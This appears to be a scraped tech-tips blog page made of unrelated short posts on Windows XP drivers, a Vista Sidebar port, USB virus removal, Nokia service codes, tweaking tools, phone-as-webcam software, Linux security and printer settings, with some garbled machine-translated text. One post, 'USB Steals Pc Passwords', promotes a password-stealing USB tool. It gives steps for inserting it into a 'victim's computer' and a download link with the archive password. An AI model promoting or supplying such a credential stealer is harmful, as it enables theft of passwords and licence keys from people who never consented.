New Sound Blaster Drivers
With the loads of problems reported by users with Soundblaster cards on Windows XP Creative has stepped up and offered drivers for at least some models of their Sound Blaster cards, but check your particular model closely.
I have downloaded the SB128 drivers and my sound problems have been resolved..! So they do work.
http://www.creative.com/support/winxp/
Windows Vista Theme For Windows XP
One of the more visible changes of the Windows Vista operating system was the Windows Vista Sidebar which made it possible to put so called gadgets on the Windows.Gadgets are small applications that can display all kinds of information such as RSS news feeds, contacts or system information.
Many Windows Vista users like the Windows Sidebar, others feel that it is to restricted to one part of the screen. Microsoft has already announced that they will change that behavior in Windows 7 so that users can place gadgets wherever they want on the desktop.
It was only a matter of time until someone would port the Windows Vista Sidebar to Windows XP. Joshoon managed to port the real Windows Sidebar to Windows XP by making use of Alky For application. You might remember Alky from the time when Windows Vista came out. That was at the same time when Microsoft announced Vista only applications and Alky was supposed to make them compatible with Windows XP (like the games Shadowrun or Halo 2)
The pack includes three different applications that are needed to install, display and maintain the Windows Vista Sidebar in Windows XP. First there is Alky For Applications which can simply be installed. Once that is done the Windows Vista Sidebar can be installed and will be operational afterwards. The pack comes with many gadgets and a tool called Gadget Gallery which can be used to add new gadgets to the sidebar.
Already available gadgets can be added by right-clicking the sidebar and selecting a gadget from the list of installed gadgets. Each gadget can be added by right-clicking it and selecting Add from the context menu.
Even more interesting than this is the ability to download gadgets from the Windows Vista Gallery site over at Microsoft. It requires some manual work but it’s easily done and works perfectly fine. The gadget needs to be downloaded and unpacked. It comes with the .gadget extension but it can easily be unpacked by most unpackers. Worked fine with 7-zip.
The directory that will be created by unpacking the .gadget file, adding the .gadget extension to the root directory of it and moving it to the Shared Gadgets directory of the sidebar application.
One interesting feature is the ability to detach a gadget from the sidebar so that it can be moved freely around on the desktop.
The Sidebar requires roughly 20 Megabytes of computer memory when displaying the default three gadgets.
How to remove Virus from USB Drives
One of the ways by which a virus can infect your PC is through USB/Pen drives. Common viruses such as ’Ravmon’ , ‘New Folder.exe’, ‘Orkut is banned’ etc are spreading through USB drives. Most anti virus programs are unable to detect them and even if they do, in most cases they are unable to delete the file, only quarantine it. Here are the things which you can do if you want to remove such viruses from your USB Drive
Whenever you plug a USB drive in your system, a window will appear similar to the one shown below
Don’t click on Ok , just choose ‘Cancel’. Open the Command Prompt by typing ‘cmd‘ in the run box. In the command prompt type the drive letter: and press enter . Now type dir /w/a and press enter.
This will display a list of the files in the pen drive. Check whether the following files are there or not
>Autorun.inf
>Ravmon.exe
>New Folder.exe
>svchost.exe
>Heap41a
or any other exe file which may be suspicious.
If any of the above files are there, then probably the USB drive is infected. In command prompt type attrib -r -a -s -h *.* and press enter. This will remove the Read Only, Archive, System and hidden file attribute from all the files. Now just delete the files using the command del filename. example del Ravmon.exe. Delete all the files that are suspicious. To be on a safer side, just scan the USB drive with an anti virus program to check whether it is free of virus or not. Now remove the drive and plug it again. In most of the cases, the real culprit turns out to be the “Autorun.inf” file which mostly gets executed when someone clicks Ok in the dialog window which appears above. Thus the infections can spread
Security Tip
Disable the Autoplay feature of USB drives. If you disable the Autoplay feature of USB drives, then there are lesser chances of the virus spreading. A tool which can perform such a function is Tweak UI. Download it from here install it.
Run the program. Now you can disable the Autoplay feature of the removable drives as shown above. By following the above steps, you can keep your USB drives clean.
These Nokia codes will work on most Nokia Mobile Phones, however we accept no responsibility of any kind for damage done to your phone whilst trying these codes.
Code Function
*3370# Activate Enhanced Full Rate Codec (EFR) - Your phone uses the best sound quality but talk time is reduced my approx. 5%
#3370# Deactivate Enhanced Full Rate Codec (EFR)
*#4720# Activate Half Rate Codec - Your phone uses a lower quality sound but you should gain approx 30% more Talk Time
*#4720# Deactivate Half Rate Codec
*#0000# Displays your phones software version, 1st Line : Software Version, 2nd Line : Software Release Date, 3rd Line : Compression Type
*#9999# Phones software version if *#0000# does not work
*#06# For checking the International Mobile Equipment Identity (IMEI Number)
#pw+1234567890+1# Provider Lock Status. (use the "*" button to obtain the "p,w" and "+" symbols)
#pw+1234567890+2# Network Lock Status. (use the "*" button to obtain the "p,w" and "+" symbols)
#pw+1234567890+3# Country Lock Status. (use the "*" button to obtain the "p,w" and "+" symbols)
#pw+1234567890+4# SIM Card Lock Status. (use the "*" button to obtain the "p,w" and "+" symbols)
*#147# This lets you know who called you last (Only vodofone)
*#1471# Last call (Only vodofone)
*#21# Allows you to check the number that "All Calls" are diverted to
*#2640# Displays security code in use
*#30# Lets you see the private number
*#43# Allows you to check the "Call Waiting" status of your phone.
*#61# Allows you to check the number that "On No Reply" calls are diverted to
*#62# Allows you to check the number that "Divert If Unreachable (no service)" calls are diverted to
*#67# Allows you to check the number that "On Busy Calls" are diverted to
*#67705646# Removes operator logo on 3310 & 3330
*#73# Reset phone timers and game scores
*#746025625# (or: *#SIM0CLOCK#) Displays the SIM Clock status, if your phone supports this power saving feature "SIM Clock Stop Allowed", it means you will get the best standby time possible
Toolbox for Vista new version of XdN Tweaker
A new version of the software XdN Tweaker is available for downloading. At the time of a preceding topicality, we presented XdN Tweaker to you, a free toolbox intended for the operating system Windows in its variations 2003, XP and Vista. A new 0.8.7.6 grinding has been just published, the occasion to present it again to you or to discover it for those among you who would have missed the topicality.
A recall of the adjustments suggested:
The UAC (To use Account Control)
The control panel
The multi-media reader
The right click of the mouse
Files and files
Associations of files
The menu to start
The navigator Internet Explorer 7.0
The customer of email Outlook Express/Windows Email
Parameters TCP/IP (Transfer Protocol Control/Internet Protocol)
The parameters system
Contributions of this new version:
The addition of the options “To copy towards” and “To move towards” in the page dedicated to the right click
The addition of one second page for the right click, in the version Windows Vista
Suppression of the sound adjustments, in the versions Windows 2003 and Windows XP
The light final improvement of the graphic interface
Corrections of bugs minors
For the interested people, the file of installation weighs 225 KB and could bedownloaded from this page.
USB Steals Pc Passwords
USB Steals Pc PasswordsUSB Steals Pc Passwords
Tweaked USB that steals every passwords including licences.
Instructions:
1.Decompress the archive and put all the files located in the folder "USBThief"into a USB.
2.Insert the USB in your victim's computer.
3.View folder "dump" to see the passwords.
DOWNLOAD LINK:
http://rapidshare.com/files/87198710/USBThief_zarksentinel_www.cw-network.info.rar
Password: : : : www.cw-network.info
If Guys don’t have a Web Camera and Still want to chat with friends on Yahoo and Skype then have a look at what we have got for you.
If you have a s60 Nokia Cell Phone with Camera you can use it like your Web Camera. The SmartCAM Application connect the PC to your mobile and it will Synchronize your Mobile with your PC so you can use your Cell Phone Camera as a Web Camera and have a Video Conferencing.
Basic features
1. SmartCAM is basically developed for the Symbian series 60 Phones with Blue tooth connectivity using which the integration of your phone cam with your PC is made easy.
2. What you need to get started is, just install SmartCAM in your PC and in your phone also. You need to have the application installed in both the terminals.
3. Connect the phone to PC via Blue tooth using the SmartCAM Application Interface.
4. Once you have connected to the PC what you need to do is to synchronize the phone with your PC so that you can easily make it function as your PC Web Camera.
5. SmartCAM works very well with Skype and Yahoo Messenger where you can video chat with your friends using your Phone’s Came.
CLICK HERE TO DOWNLOAD THIS SOFTWARE
Since Microsoft has a huge chunk of the operating system's market in the world, it is the first victim of hackers. But that doesn't mean that Linux hacking doesn't exist. Although is less common than it's close sourced companion, there are several reasons why hackers try to hack machines with Linux. Many corporations use Linux as their server on the web as it is cheaper and easier to deploy. Its security is also better when compared to Microsoft operating systems. No wonder that network hacking tools for this open source operating system have proliferated in the last years.
What Are The Issues With Open Source Linux?
The main difference between Linux and Windows is that Linux is open source and windows are closed source. So? Well, that means that only Microsoft is authorized to change any part of the code of the Windows operating system. While in Linux, anyone can change it.
The other problem is that the Linux Operating System doesn't receive the same level of support as Windows does. That means that updates and security packages are released with each new version of the Operating System (OS), but not as periodic updates as in the case of Windows XP's Windows Update.
That means that the user will have to be the one responsible for checking for the updates instead of trusting this matter to an organization. So, a user could pass long periods of time without knowing that his OS has an important security failure that could compromise his work or even the security of his network.
The only way to contra rest this inconvenient, is buying support from a determined Linux OS provider, like Red Hat. For an annual fee, they will provide you with important information on the different bugs that have been found in the OS and that need to be fixed.
If you choose otherwise, you will spend a long time inside forums talking to Linux experts around the world. If that isn't the core competence of your business, why should you spend that time doing it? That's one of the main arguments that Microsoft uses when comparing it's OS with open source OS's.
Continue to Weakness in Linux OS
Increase the printing speed of your printer
You can improve the printing speed of your printer with managing the print spooler option.
Basically printer spooler holds your prints for some time then send to printer for print out.
By default on most printers, printer spooler option is enabled but you turn off to specify that the file should be sending to the printer and not spooled. Here printer spooler option might be different location in your printer but on most printers you can turn off by going to Start, Setting then Printers.
Now right click on the icon of the printer that you are using.
Click Properties and select the Advanced tab.
Here click on “Print directly to printer” option.
This will tie up your application until the printer has all the data, but your print job should finish more quickly.
Printing directly to the printer will also come in handy if your print spooler crashes and you need to print before you reboot your PC.
HEY DONT LAUGH.....MOST OF THE CALCULATORS HAVE THE BUTTON TO SWITCH THEM ON BUT THEY OFF ITSELF......
MEANS NO BUTTON TO SWITCH THEM OFF.....
OK ....USE THIS TRICK TO SHUT DOWN UR CALCULATORS.....
JUST PRESS FOLLOWING KEYS CONTINUOUSLY
FIRST FIND THESE KEYS ON UR CALCULATOR
DIVIDE KEY
MULTIPLY KEY
PERCENT KEY
CHECK KEY
CORRECT KEY
SO ITZ NOW-->
/ X % CHECK CORRECT CORRECT
OR U CAN SAY
DIVIDE MULTIPLY PERCENT CHECK CORRECT CORRECT
DONE...
